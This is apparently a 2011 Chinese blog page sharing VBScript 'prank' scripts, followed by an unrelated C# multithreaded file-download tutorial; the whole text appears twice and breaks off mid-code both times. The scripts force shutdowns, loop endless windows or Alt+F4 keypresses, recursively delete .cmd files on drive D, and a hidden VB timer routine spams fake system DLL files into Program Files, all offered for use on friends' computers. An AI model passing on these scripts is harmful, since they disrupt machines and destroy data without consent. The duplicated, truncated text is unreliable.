vbs代码分享
vbs代碼分享
2011年06月03日
// 自動(dòng)發(fā)消息[xx替換成好友昵稱]
xx.vbs
if MsgBox("對(duì)不起,你裝B太多需要重啟計(jì)算機(jī)"&chr(10)&"確定重啟嗎",vbOKcancel+vbInformation,"重啟計(jì)算機(jī)")=vbCancel then
msgbox "系統(tǒng)正在重啟wait","你上當(dāng)了"
set objshell=createobject("Wscript.shell")
objshell.run "shutdown -s -t 5",,true
end if
// 打開(kāi)無(wú)數(shù)個(gè)計(jì)算器
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
// 不斷彈出窗口
while(1)
msgbox "nihao"
loop
// 刪除所有cmd文件
dim WSHshell
set WSHshell=wscript.createobject("wscript.shell")
WSHshell.run "cmd /c""del D:\*.cmd /f /q /s""",0,true
// 不斷按下"Alt+F4"
dim wshshell
set wshshell=wscript.createobject("wscript.shell")
while(1)
wshshell.sendkeys "%{F4}"
loop
// 點(diǎn)擊1000次
dim s
do until s=1000
s=s+1
msgbox"nihao",64
loop
ws.run"cmd.exe /c echo nihao",0
ws.run"regedit.exe"
oShell.Run "regedit.exe"
WScript.echo("nihao")
我們來(lái)看下這個(gè)腳本
-------------------------------------------------- ------------------------------
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說(shuō)我是豬,不說(shuō)我是豬就一分鐘關(guān)機(jī),不信,試下??????"" ",0 ,true
dim a
do while(a "我是豬")
a = inputbox ("說(shuō)我是豬,就不關(guān)機(jī),快撒,說(shuō) ""我是豬"" ","說(shuō)不說(shuō)","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說(shuō)就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
-------------------------------------------------- ------------------------------
新建一個(gè)記事本 把上面的代碼復(fù)制進(jìn)去 另存為VBE格式的就可以了
cmd.exe /c shutdown -r -t 180 -c
這里的數(shù)字可以修改關(guān)機(jī)時(shí)間 180秒
這些文字也可以自設(shè) 這個(gè)腳本啟用cmd 里的關(guān)機(jī)程序
如果不輸?shù)牡脑?可以打開(kāi)任務(wù)管理器 輸入shutdown -a 來(lái)解除 我們?cè)囅?這時(shí)定時(shí)關(guān)機(jī)已
經(jīng)沒(méi)了 但是還有個(gè)關(guān)不掉的窗口 我們打開(kāi)任務(wù)管理器 結(jié)束掉Wscript.exe 這個(gè)進(jìn)程就OK
了 這時(shí)就完全解除這個(gè)腳本了 Wscript 時(shí)Windows 腳本宿主
-------------------------------------------------- -----------------------------------------
下面看第二個(gè)整人的腳本
-------------------------------------------------- -----------------------------------------
set ws=createobject("wscript.shell")
call shutdown(1)
do while a"我是豬"
a=inputbox("快在下面的框框里輸入我是豬,否則后果自負(fù),快輸""我是豬"" ","輸不輸","")
loop
call shutdown(2)
msgbox "早說(shuō)就行了嘛",4096+64
msgbox"再輸一遍我是豬!",4096+64
msgbox"我是豬!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的點(diǎn)過(guò)去,不看的話",4096+64
MsgBox"我就要你踩我空間的!哼!",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山里有個(gè)廟.",4096+64
MsgBox"廟里有個(gè)老和尚在講故事.",4096+64
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
msgbox"哎呀累了!數(shù)綿羊哄我睡覺(jué)",4096+64
for i=1 to 100
MsgBox i&"只綿羊",4096+64
next
msgbox"哎呀我困了,這次就饒過(guò)你吧,下次注意哦!",4096+64
msgbox"最后問(wèn)個(gè)問(wèn)題,我是不是大好人!",4096+64
if inputbox("是不是","請(qǐng)選擇","是")"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
-------------------------------------------------- ------------------------------
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
這段代碼可以改成你自己設(shè)定的地址
如果別人不輸我是豬的話就會(huì)一直點(diǎn)下去 點(diǎn)到你設(shè)定的數(shù)字
for i=1 to 100
從1到100
可以改成 20 其他的數(shù)字
解除這個(gè)VBS腳本的辦法就簡(jiǎn)單了 只是關(guān)掉任務(wù)管理器里Wscript.exe
這個(gè)進(jìn)程就好了
[color=#FF0000]
復(fù)制以上代碼,在桌面建一個(gè)文本,把代碼放進(jìn)去,另存為VBS格式,
此代碼的威力:
1:開(kāi)機(jī)就強(qiáng)制自動(dòng)關(guān)機(jī)
2:cmd命令打不開(kāi)
3:結(jié)束任務(wù)不管用
4:F8安全模式也不管用
呵呵!聽(tīng)起來(lái)是不是有點(diǎn)恐怖啊,我在我朋友空間里看見(jiàn)也嚇了一跳、
代碼破解方法:就是再運(yùn)行一次,就可以破解了,也就是第2次保存的那個(gè)VBE文件,,
網(wǎng)頁(yè)整人效果代碼
想看效果,只要復(fù)制這下面的所有代碼保存在text文件里,修改文件后綴為txt就能看到效果了。
網(wǎng)頁(yè)特效|Linkweb.cn/Js|---很惡心的常見(jiàn)整人效果
不許把鼠標(biāo)移到這里 代碼如下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'聲明變量,其中“count”為靜態(tài)變量,以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定義要把生成的文件存放在那個(gè)目錄文件下
c = "C:\Program Files\"
'生成文件的內(nèi)容
nr = "哈哈,被黑的感覺(jué)的不錯(cuò)吧"
files = FreeFile
'如果a等于a那么就執(zhí)行
If a = a Then
'count不斷的加1,以便產(chǎn)生不同的文件名
count = count + 1
'產(chǎn)生文件名及文件句柄,并用count作為產(chǎn)生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
'向文件寫內(nèi)容
Write #files, nr
'清除文件句柄,這里很重要,如果不清除,將產(chǎn)生打開(kāi)文件太多的錯(cuò)誤提示
Close #files
End If
End Sub
很多人都有過(guò)使用網(wǎng)絡(luò)螞蟻或網(wǎng)絡(luò)快車軟件下載互聯(lián)網(wǎng)文件的經(jīng)歷,這些軟件的使用可以大大加速互聯(lián)網(wǎng)上文件的傳輸速度,減少文件傳輸?shù)臅r(shí)間。這些軟件為什么有如此大的魔力呢?其主要原因是這些軟件都采用了多線程下載和斷點(diǎn)續(xù)傳技術(shù)。如果我們自己來(lái)編寫一個(gè)類似這樣的程序,也能夠快速的在互聯(lián)網(wǎng)上下載文件,那一定是非常愉快的事情。下面我就講一講如何利用C#語(yǔ)言編寫一個(gè)支持多線程下載文件的程序,你會(huì)看到利用C#語(yǔ)言編寫網(wǎng)絡(luò)應(yīng)程序是多么的容易,從中也能體會(huì)到C#語(yǔ)言中強(qiáng)大的網(wǎng)絡(luò)功能。
首先介紹一下HTTP協(xié)議,HTTP亦即Hpyer Text Transfer Protocal的縮寫,它是現(xiàn)代互聯(lián)網(wǎng)上最重要的一種網(wǎng)絡(luò)協(xié)議,超文本傳輸協(xié)議位于TCP/IP協(xié)議的應(yīng)用層,是一個(gè)面向無(wú)連接、簡(jiǎn)單、快速的C/S結(jié)構(gòu)的協(xié)議。HTTP的工作過(guò)程大體上分連接、請(qǐng)求、響應(yīng)和斷開(kāi)連接四個(gè)步驟。C#語(yǔ)言對(duì)HTTP協(xié)議提供了良好的支持,在.NET類庫(kù)中提供了WebRequest和WebResponse類,這兩個(gè)類都包含在System.Net命名空間中,利用這兩個(gè)類可以實(shí)現(xiàn)很多高級(jí)的網(wǎng)絡(luò)功能,本文中多線程文件下載就是利用這兩個(gè)類實(shí)現(xiàn)的。 WebRequest和WebResponse都是抽象基類,因此在程序中不能直接作為對(duì)象使用,必須被繼承,實(shí)際使用中,可根據(jù)URI參數(shù)中的URI前綴選用它們合適的子類,對(duì)于HTTP這類URI,HttpWebRequest和HttpWebResponse類可以用于處理客戶程序同WEB服務(wù)器之間的HTTP通訊。
HttpWebRequest類實(shí)現(xiàn)了很多通過(guò)HTTP訪問(wèn)WEB服務(wù)器上文件的高級(jí)功能。HttpWebRequest類對(duì)WebRequest中定義的屬性和方法提供支持,HttpWebRequest將發(fā)送到Internet資源的公共HTTP標(biāo)頭的值公開(kāi)為屬性,由方法或系統(tǒng)設(shè)置,常用的由屬性或方法設(shè)置的HTTP標(biāo)頭為:接受, 由Accept屬性設(shè)置, 連接, 由Connection屬性和KeepAlive屬性設(shè)置, Content-Length, 由ContentLength屬性設(shè)置, Content-Type, 由ContentType屬性設(shè)置, 范圍, 由AddRange方法設(shè)置. 實(shí)際使用中是將標(biāo)頭信息正確設(shè)置后,傳遞到WEB服務(wù)器,WEB服務(wù)器根據(jù)要求作出回應(yīng)。
HttpWebResponse類繼承自WebResponse類,專門處理從WEB服務(wù)器返回的HTTP響應(yīng),這個(gè)類實(shí)現(xiàn)了很多方法,具有很多屬性,可以全面處理接收到的互聯(lián)網(wǎng)信息。在HttpWebResponse類中,對(duì)于大多數(shù)通用的HTTP標(biāo)頭字段,都有獨(dú)立的屬性與其對(duì)應(yīng),程序員可以通過(guò)這些屬性方便的訪問(wèn)位于HTTP接收?qǐng)?bào)文標(biāo)頭字段中的信息,本例中用到的HttpWebResponse類屬性為:ContentLength 既接收內(nèi)容的長(zhǎng)度。
有了以上的了解后,下面看看這兩個(gè)類的用法,要?jiǎng)?chuàng)建HttpWebRequest對(duì)象,不要直接使用HttpWebRequest的構(gòu)造函數(shù),而要使用WebRequest.Create方法初始化一個(gè)HttpWebRequest實(shí)例,如:
HttpWebRequest hwr=(HttpWebRequest)WebRequest.Create(http://www.163.com/);
創(chuàng)建了這個(gè)對(duì)象后,就可以通過(guò)HttpWebRequest屬性,設(shè)置很多HTTP標(biāo)頭字段的內(nèi)容,如hwr.AddRange(100,1000);設(shè)置接收對(duì)象的范圍為100-1000字節(jié)。
HttpWebReques對(duì)象使用GetResponse()方法時(shí),會(huì)返回一個(gè)HttpWebResponse對(duì)象,為提出HTTP返回報(bào)文信息,需要使用HttpWebResponse的GetResponseStream()方法,該方法返回一個(gè)Stream對(duì)象,可以讀取HTTP返回的報(bào)文,如:首先定義一個(gè)Strean 對(duì)象 public System.IO.Stream ns; 然后 ns=hwr.GetResponse ().GetResponseStream ();即可創(chuàng)建Stream對(duì)象。有了以上的準(zhǔn)備知識(shí)后下面開(kāi)始設(shè)計(jì)我們的多線程互聯(lián)網(wǎng)文件的下載程序,首先打開(kāi)Visual Studio.Net集成開(kāi)發(fā)環(huán)境,選擇“文件”、“新建”、“項(xiàng)目”,然后選擇“Visual C#項(xiàng)目”,在向?qū)в疫吜斜砜蛑羞x中“Windows應(yīng)用程序”,輸入項(xiàng)目名稱,如本例為:httpftp,然后選擇“確定”按鈕,向?qū)ё詣?dòng)生成了一個(gè)Windows應(yīng)用程序項(xiàng)目。首先打開(kāi)窗口設(shè)計(jì)器設(shè)計(jì)應(yīng)用程序窗口,增加如下控件:
一個(gè)列表框 listBox1 三個(gè)文本標(biāo)簽 label1-label3 三個(gè)文本框 textBox1-textBox3 一個(gè)開(kāi)始接收按鈕 button1 設(shè)計(jì)好的窗口如下圖:
控件定義代碼是:
public System.Windows.Forms.ListBox listBox1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.TextBox textBox1
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.TextBox textBox2;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.TextBox textBox3;
private System.Windows.Forms.Label label4;
private System.Windows.Forms.TextBox textBox4;
打開(kāi)Form1的代碼編輯器,增加如下的命名空間:
using System.Net;//網(wǎng)絡(luò)功能
using System.IO;//流支持
using System.Threading ;//線程支持
增加如下的程序變量:
public bool[] threadw; //每個(gè)線程結(jié)束標(biāo)志
public string[] filenamew;//每個(gè)線程接收文件的文件名
public int[] filestartw;//每個(gè)線程接收文件的起始位置
public int[] filesizew;//每個(gè)線程接收文件的大小
public string strurl;//接受文件的URL
public bool hb;//文件合并標(biāo)志
public int thread;//進(jìn)程數(shù)
定義一個(gè)HttpFile類,用于管理接收線程,其代碼如下:
public class HttpFile
{
public Form1 formm;
public int threadh;//線程代號(hào)
public string filename;//文件名
public string strUrl;//接收文件的URL
public FileStream fs;
public HttpWebRequest request;
public System.IO.Stream ns;
public byte[] nbytes;//接收緩沖區(qū)
public int nreadsize;//接收字節(jié)數(shù)
public HttpFile(Form1 form,int thread)//構(gòu)造方法
{
formm=form;
threadh=thread;
}
~HttpFile()//析構(gòu)方法
{
formm.Dispose ();
}
public void receive()//接收線程
{
filename=formm.filenamew[threadh];
strUrl=formm.strurl;
ns=null;
nbytes= new byte[512];
nreadsize=0;
formm.listBox1 .Items .Add ("線程"+threadh.ToString ()+"開(kāi)始接收");
fs=new FileStream (filename,System.IO.FileMode.Create);
try
{
request=(HttpWebRequest)HttpWebRequest.Create (strUrl);
//接收的起始位置及接收的長(zhǎng)度
request.AddRange(formm.filestartw [threadh],
formm.filestartw [threadh]+formm.filesizew [threadh]);
ns=request.GetResponse ().GetResponseStream ();//獲得接收流
nreadsize=ns.Read (nbytes,0,512);
while (nreadsize>0)
{
fs.Write (nbytes,0,nreadsize);
nreadsize=ns.Read (nbytes,0,512);
formm.listBox1 .Items .Add ("線程"+threadh.ToString ()+"正在接收");
}
fs.Close();
ns.Close ();
}
catch (Exception er)
{
MessageBox.Show (er.Message );
fs.Close();
}
formm.listBox1 .Items.Add ("進(jìn)程"+threadh.ToString ()+"接收完畢!");
formm.threadw[threadh]=true;
}
}
該類和Form1類處于統(tǒng)一命名空間,但不包含在Form1類中。下面定義“開(kāi)始接收”按鈕控件的事件響應(yīng)函數(shù):
private void button1_Click(object sender, System.EventArgs e)
{
DateTime dt=DateTime.Now;//開(kāi)始接收時(shí)間
textBox1.Text =dt.ToString ();
strurl=textBox2.Text .Trim ().ToString ();
HttpWebRequest request;
long filesize=0;
try
{
request=(HttpWebRequest)HttpWebRequest.Create (strurl);
filesize=request.GetResponse ().ContentLength;//取得目標(biāo)文件的長(zhǎng)度
request.Abort ();
}
catch (Exception er)
{
MessageBox.Show (er.Message );
}
// 接收線程數(shù)
thread=Convert.ToInt32 (textBox4.Text .Trim().ToString (),10);
//根據(jù)線程數(shù)初始化數(shù)組
threadw=new bool [thread];
filenamew=new string [thread];
filestartw=new int [thread];
filesizew=new int[thread];
//計(jì)算每個(gè)線程應(yīng)該接收文件的大小
int filethread=(int)filesize/thread;//平均分配
int filethreade=filethread+(int)filesize%thread;//剩余部分由最后一個(gè)線程完成
//為數(shù)組賦值
for (int i=0;i
2011年06月03日
// 自動(dòng)發(fā)消息[xx替換成好友昵稱]
xx.vbs
if MsgBox("對(duì)不起,你裝B太多需要重啟計(jì)算機(jī)"&chr(10)&"確定重啟嗎",vbOKcancel+vbInformation,"重啟計(jì)算機(jī)")=vbCancel then
msgbox "系統(tǒng)正在重啟wait","你上當(dāng)了"
set objshell=createobject("Wscript.shell")
objshell.run "shutdown -s -t 5",,true
end if
// 打開(kāi)無(wú)數(shù)個(gè)計(jì)算器
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
// 不斷彈出窗口
while(1)
msgbox "nihao"
loop
// 刪除所有cmd文件
dim WSHshell
set WSHshell=wscript.createobject("wscript.shell")
WSHshell.run "cmd /c""del D:\*.cmd /f /q /s""",0,true
// 不斷按下"Alt+F4"
dim wshshell
set wshshell=wscript.createobject("wscript.shell")
while(1)
wshshell.sendkeys "%{F4}"
loop
// 點(diǎn)擊1000次
dim s
do until s=1000
s=s+1
msgbox"nihao",64
loop
ws.run"cmd.exe /c echo nihao",0
ws.run"regedit.exe"
oShell.Run "regedit.exe"
WScript.echo("nihao")
我們來(lái)看下這個(gè)腳本
-------------------------------------------------- ------------------------------
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說(shuō)我是豬,不說(shuō)我是豬就一分鐘關(guān)機(jī),不信,試下??????"" ",0 ,true
dim a
do while(a "我是豬")
a = inputbox ("說(shuō)我是豬,就不關(guān)機(jī),快撒,說(shuō) ""我是豬"" ","說(shuō)不說(shuō)","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說(shuō)就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
-------------------------------------------------- ------------------------------
新建一個(gè)記事本 把上面的代碼復(fù)制進(jìn)去 另存為VBE格式的就可以了
cmd.exe /c shutdown -r -t 180 -c
這里的數(shù)字可以修改關(guān)機(jī)時(shí)間 180秒
這些文字也可以自設(shè) 這個(gè)腳本啟用cmd 里的關(guān)機(jī)程序
如果不輸?shù)牡脑?可以打開(kāi)任務(wù)管理器 輸入shutdown -a 來(lái)解除 我們?cè)囅?這時(shí)定時(shí)關(guān)機(jī)已
經(jīng)沒(méi)了 但是還有個(gè)關(guān)不掉的窗口 我們打開(kāi)任務(wù)管理器 結(jié)束掉Wscript.exe 這個(gè)進(jìn)程就OK
了 這時(shí)就完全解除這個(gè)腳本了 Wscript 時(shí)Windows 腳本宿主
-------------------------------------------------- -----------------------------------------
下面看第二個(gè)整人的腳本
-------------------------------------------------- -----------------------------------------
set ws=createobject("wscript.shell")
call shutdown(1)
do while a"我是豬"
a=inputbox("快在下面的框框里輸入我是豬,否則后果自負(fù),快輸""我是豬"" ","輸不輸","")
loop
call shutdown(2)
msgbox "早說(shuō)就行了嘛",4096+64
msgbox"再輸一遍我是豬!",4096+64
msgbox"我是豬!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的點(diǎn)過(guò)去,不看的話",4096+64
MsgBox"我就要你踩我空間的!哼!",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山里有個(gè)廟.",4096+64
MsgBox"廟里有個(gè)老和尚在講故事.",4096+64
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
msgbox"哎呀累了!數(shù)綿羊哄我睡覺(jué)",4096+64
for i=1 to 100
MsgBox i&"只綿羊",4096+64
next
msgbox"哎呀我困了,這次就饒過(guò)你吧,下次注意哦!",4096+64
msgbox"最后問(wèn)個(gè)問(wèn)題,我是不是大好人!",4096+64
if inputbox("是不是","請(qǐng)選擇","是")"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
-------------------------------------------------- ------------------------------
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
這段代碼可以改成你自己設(shè)定的地址
如果別人不輸我是豬的話就會(huì)一直點(diǎn)下去 點(diǎn)到你設(shè)定的數(shù)字
for i=1 to 100
從1到100
可以改成 20 其他的數(shù)字
解除這個(gè)VBS腳本的辦法就簡(jiǎn)單了 只是關(guān)掉任務(wù)管理器里Wscript.exe
這個(gè)進(jìn)程就好了
[color=#FF0000]
復(fù)制以上代碼,在桌面建一個(gè)文本,把代碼放進(jìn)去,另存為VBS格式,
此代碼的威力:
1:開(kāi)機(jī)就強(qiáng)制自動(dòng)關(guān)機(jī)
2:cmd命令打不開(kāi)
3:結(jié)束任務(wù)不管用
4:F8安全模式也不管用
呵呵!聽(tīng)起來(lái)是不是有點(diǎn)恐怖啊,我在我朋友空間里看見(jiàn)也嚇了一跳、
代碼破解方法:就是再運(yùn)行一次,就可以破解了,也就是第2次保存的那個(gè)VBE文件,,
網(wǎng)頁(yè)整人效果代碼
想看效果,只要復(fù)制這下面的所有代碼保存在text文件里,修改文件后綴為txt就能看到效果了。
網(wǎng)頁(yè)特效|Linkweb.cn/Js|---很惡心的常見(jiàn)整人效果
不許把鼠標(biāo)移到這里 代碼如下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'聲明變量,其中“count”為靜態(tài)變量,以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定義要把生成的文件存放在那個(gè)目錄文件下
c = "C:\Program Files\"
'生成文件的內(nèi)容
nr = "哈哈,被黑的感覺(jué)的不錯(cuò)吧"
files = FreeFile
'如果a等于a那么就執(zhí)行
If a = a Then
'count不斷的加1,以便產(chǎn)生不同的文件名
count = count + 1
'產(chǎn)生文件名及文件句柄,并用count作為產(chǎn)生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
'向文件寫內(nèi)容
Write #files, nr
'清除文件句柄,這里很重要,如果不清除,將產(chǎn)生打開(kāi)文件太多的錯(cuò)誤提示
Close #files
End If
End Sub
很多人都有過(guò)使用網(wǎng)絡(luò)螞蟻或網(wǎng)絡(luò)快車軟件下載互聯(lián)網(wǎng)文件的經(jīng)歷,這些軟件的使用可以大大加速互聯(lián)網(wǎng)上文件的傳輸速度,減少文件傳輸?shù)臅r(shí)間。這些軟件為什么有如此大的魔力呢?其主要原因是這些軟件都采用了多線程下載和斷點(diǎn)續(xù)傳技術(shù)。如果我們自己來(lái)編寫一個(gè)類似這樣的程序,也能夠快速的在互聯(lián)網(wǎng)上下載文件,那一定是非常愉快的事情。下面我就講一講如何利用C#語(yǔ)言編寫一個(gè)支持多線程下載文件的程序,你會(huì)看到利用C#語(yǔ)言編寫網(wǎng)絡(luò)應(yīng)程序是多么的容易,從中也能體會(huì)到C#語(yǔ)言中強(qiáng)大的網(wǎng)絡(luò)功能。
首先介紹一下HTTP協(xié)議,HTTP亦即Hpyer Text Transfer Protocal的縮寫,它是現(xiàn)代互聯(lián)網(wǎng)上最重要的一種網(wǎng)絡(luò)協(xié)議,超文本傳輸協(xié)議位于TCP/IP協(xié)議的應(yīng)用層,是一個(gè)面向無(wú)連接、簡(jiǎn)單、快速的C/S結(jié)構(gòu)的協(xié)議。HTTP的工作過(guò)程大體上分連接、請(qǐng)求、響應(yīng)和斷開(kāi)連接四個(gè)步驟。C#語(yǔ)言對(duì)HTTP協(xié)議提供了良好的支持,在.NET類庫(kù)中提供了WebRequest和WebResponse類,這兩個(gè)類都包含在System.Net命名空間中,利用這兩個(gè)類可以實(shí)現(xiàn)很多高級(jí)的網(wǎng)絡(luò)功能,本文中多線程文件下載就是利用這兩個(gè)類實(shí)現(xiàn)的。 WebRequest和WebResponse都是抽象基類,因此在程序中不能直接作為對(duì)象使用,必須被繼承,實(shí)際使用中,可根據(jù)URI參數(shù)中的URI前綴選用它們合適的子類,對(duì)于HTTP這類URI,HttpWebRequest和HttpWebResponse類可以用于處理客戶程序同WEB服務(wù)器之間的HTTP通訊。
HttpWebRequest類實(shí)現(xiàn)了很多通過(guò)HTTP訪問(wèn)WEB服務(wù)器上文件的高級(jí)功能。HttpWebRequest類對(duì)WebRequest中定義的屬性和方法提供支持,HttpWebRequest將發(fā)送到Internet資源的公共HTTP標(biāo)頭的值公開(kāi)為屬性,由方法或系統(tǒng)設(shè)置,常用的由屬性或方法設(shè)置的HTTP標(biāo)頭為:接受, 由Accept屬性設(shè)置, 連接, 由Connection屬性和KeepAlive屬性設(shè)置, Content-Length, 由ContentLength屬性設(shè)置, Content-Type, 由ContentType屬性設(shè)置, 范圍, 由AddRange方法設(shè)置. 實(shí)際使用中是將標(biāo)頭信息正確設(shè)置后,傳遞到WEB服務(wù)器,WEB服務(wù)器根據(jù)要求作出回應(yīng)。
HttpWebResponse類繼承自WebResponse類,專門處理從WEB服務(wù)器返回的HTTP響應(yīng),這個(gè)類實(shí)現(xiàn)了很多方法,具有很多屬性,可以全面處理接收到的互聯(lián)網(wǎng)信息。在HttpWebResponse類中,對(duì)于大多數(shù)通用的HTTP標(biāo)頭字段,都有獨(dú)立的屬性與其對(duì)應(yīng),程序員可以通過(guò)這些屬性方便的訪問(wèn)位于HTTP接收?qǐng)?bào)文標(biāo)頭字段中的信息,本例中用到的HttpWebResponse類屬性為:ContentLength 既接收內(nèi)容的長(zhǎng)度。
有了以上的了解后,下面看看這兩個(gè)類的用法,要?jiǎng)?chuàng)建HttpWebRequest對(duì)象,不要直接使用HttpWebRequest的構(gòu)造函數(shù),而要使用WebRequest.Create方法初始化一個(gè)HttpWebRequest實(shí)例,如:
HttpWebRequest hwr=(HttpWebRequest)WebRequest.Create(http://www.163.com/);
創(chuàng)建了這個(gè)對(duì)象后,就可以通過(guò)HttpWebRequest屬性,設(shè)置很多HTTP標(biāo)頭字段的內(nèi)容,如hwr.AddRange(100,1000);設(shè)置接收對(duì)象的范圍為100-1000字節(jié)。
HttpWebReques對(duì)象使用GetResponse()方法時(shí),會(huì)返回一個(gè)HttpWebResponse對(duì)象,為提出HTTP返回報(bào)文信息,需要使用HttpWebResponse的GetResponseStream()方法,該方法返回一個(gè)Stream對(duì)象,可以讀取HTTP返回的報(bào)文,如:首先定義一個(gè)Strean 對(duì)象 public System.IO.Stream ns; 然后 ns=hwr.GetResponse ().GetResponseStream ();即可創(chuàng)建Stream對(duì)象。有了以上的準(zhǔn)備知識(shí)后下面開(kāi)始設(shè)計(jì)我們的多線程互聯(lián)網(wǎng)文件的下載程序,首先打開(kāi)Visual Studio.Net集成開(kāi)發(fā)環(huán)境,選擇“文件”、“新建”、“項(xiàng)目”,然后選擇“Visual C#項(xiàng)目”,在向?qū)в疫吜斜砜蛑羞x中“Windows應(yīng)用程序”,輸入項(xiàng)目名稱,如本例為:httpftp,然后選擇“確定”按鈕,向?qū)ё詣?dòng)生成了一個(gè)Windows應(yīng)用程序項(xiàng)目。首先打開(kāi)窗口設(shè)計(jì)器設(shè)計(jì)應(yīng)用程序窗口,增加如下控件:
一個(gè)列表框 listBox1 三個(gè)文本標(biāo)簽 label1-label3 三個(gè)文本框 textBox1-textBox3 一個(gè)開(kāi)始接收按鈕 button1 設(shè)計(jì)好的窗口如下圖:
控件定義代碼是:
public System.Windows.Forms.ListBox listBox1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.TextBox textBox1
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.TextBox textBox2;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.TextBox textBox3;
private System.Windows.Forms.Label label4;
private System.Windows.Forms.TextBox textBox4;
打開(kāi)Form1的代碼編輯器,增加如下的命名空間:
using System.Net;//網(wǎng)絡(luò)功能
using System.IO;//流支持
using System.Threading ;//線程支持
增加如下的程序變量:
public bool[] threadw; //每個(gè)線程結(jié)束標(biāo)志
public string[] filenamew;//每個(gè)線程接收文件的文件名
public int[] filestartw;//每個(gè)線程接收文件的起始位置
public int[] filesizew;//每個(gè)線程接收文件的大小
public string strurl;//接受文件的URL
public bool hb;//文件合并標(biāo)志
public int thread;//進(jìn)程數(shù)
定義一個(gè)HttpFile類,用于管理接收線程,其代碼如下:
public class HttpFile
{
public Form1 formm;
public int threadh;//線程代號(hào)
public string filename;//文件名
public string strUrl;//接收文件的URL
public FileStream fs;
public HttpWebRequest request;
public System.IO.Stream ns;
public byte[] nbytes;//接收緩沖區(qū)
public int nreadsize;//接收字節(jié)數(shù)
public HttpFile(Form1 form,int thread)//構(gòu)造方法
{
formm=form;
threadh=thread;
}
~HttpFile()//析構(gòu)方法
{
formm.Dispose ();
}
public void receive()//接收線程
{
filename=formm.filenamew[threadh];
strUrl=formm.strurl;
ns=null;
nbytes= new byte[512];
nreadsize=0;
formm.listBox1 .Items .Add ("線程"+threadh.ToString ()+"開(kāi)始接收");
fs=new FileStream (filename,System.IO.FileMode.Create);
try
{
request=(HttpWebRequest)HttpWebRequest.Create (strUrl);
//接收的起始位置及接收的長(zhǎng)度
request.AddRange(formm.filestartw [threadh],
formm.filestartw [threadh]+formm.filesizew [threadh]);
ns=request.GetResponse ().GetResponseStream ();//獲得接收流
nreadsize=ns.Read (nbytes,0,512);
while (nreadsize>0)
{
fs.Write (nbytes,0,nreadsize);
nreadsize=ns.Read (nbytes,0,512);
formm.listBox1 .Items .Add ("線程"+threadh.ToString ()+"正在接收");
}
fs.Close();
ns.Close ();
}
catch (Exception er)
{
MessageBox.Show (er.Message );
fs.Close();
}
formm.listBox1 .Items.Add ("進(jìn)程"+threadh.ToString ()+"接收完畢!");
formm.threadw[threadh]=true;
}
}
該類和Form1類處于統(tǒng)一命名空間,但不包含在Form1類中。下面定義“開(kāi)始接收”按鈕控件的事件響應(yīng)函數(shù):
private void button1_Click(object sender, System.EventArgs e)
{
DateTime dt=DateTime.Now;//開(kāi)始接收時(shí)間
textBox1.Text =dt.ToString ();
strurl=textBox2.Text .Trim ().ToString ();
HttpWebRequest request;
long filesize=0;
try
{
request=(HttpWebRequest)HttpWebRequest.Create (strurl);
filesize=request.GetResponse ().ContentLength;//取得目標(biāo)文件的長(zhǎng)度
request.Abort ();
}
catch (Exception er)
{
MessageBox.Show (er.Message );
}
// 接收線程數(shù)
thread=Convert.ToInt32 (textBox4.Text .Trim().ToString (),10);
//根據(jù)線程數(shù)初始化數(shù)組
threadw=new bool [thread];
filenamew=new string [thread];
filestartw=new int [thread];
filesizew=new int[thread];
//計(jì)算每個(gè)線程應(yīng)該接收文件的大小
int filethread=(int)filesize/thread;//平均分配
int filethreade=filethread+(int)filesize%thread;//剩余部分由最后一個(gè)線程完成
//為數(shù)組賦值
for (int i=0;i
總結(jié)
- 上一篇: 梦幻西游2开店心得 日赚700万储备金
- 下一篇: 平面设计师职业技能证书有哪些?